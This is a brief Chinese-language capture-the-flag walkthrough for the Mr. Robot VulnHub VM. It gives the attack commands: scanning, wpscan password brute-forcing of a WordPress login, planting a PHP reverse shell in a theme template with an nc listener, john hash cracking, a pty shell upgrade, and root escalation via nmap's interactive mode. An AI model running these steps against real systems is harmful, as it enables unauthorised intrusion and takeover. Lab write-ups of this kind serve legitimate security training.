Hack the Mr. Robot VM (CTF Challenge)
https://www.vulnhub.com/entry/mr-robot-1,151/
http://www.hackingarticles.in/hack-mr-robot-vm-ctf-challenge/
http://mrb3n.weebly.com/uploads/5/8/2/1/58218/mrrobot_writeup_06282016.pdf
nmap -A 192.168.0.102
: 有開TCP 80 portnikto -h 10.0.2.134
: TCP 80 port底下有/robots.txt和/wp-login.phpUser-agent: * fsocity.dic key-1-of-3.txt
- http://10.0.2.134/key-1-of-3.txt 第一個flag get
- 下載fsocity.dic
- 嘗試登入/wp-login.php,網站可以列舉使用者帳號,發現elliot使用者
- 使用wpscan暴力破解密碼:
wpscan --url http://10.0.2.134/wp-login.php --wordlist /root/fsocity.dic --username elliot --wp-content-dir /wp-content
- 最後得到密碼為ER28-0652,總共花了三、四小時(我沒跑完)
- 登入WP後,在Appearance -> Editor -> 404 Template 上傳php shell (http://pentestmonkey.net/tools/web-shells/php-reverse-shell)
- 修改攻擊者IP和Port後,開啟listen port:
nc -lvnp 1234
- 開啟後門:http://10.0.2.134/wp-content/themes/twentytwelve/404.php
- 在/home/robot/底下有第二個flag,但owner是robot
- 另外有個password.raw-md5檔,我們試著破解它
robot:c3fcd3d76192e4007dfb496cca67e13b
- 使用john破解:
john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt mrrobot.password
- 得到:
abcdefghijklmnopqrstuvwxyz (robot)
- 在切換使用者時遇到:
$ su robot su: must be run from a terminal
- 輸入
echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
- 執行
python /tmp/shell.py
- 再次切換至robot身份並得到第二把flag
- 利用nmap的interactive執行!sh,取得root shell:
nmap --interactive !sh
- 在/home/root/底下得到最後一個flag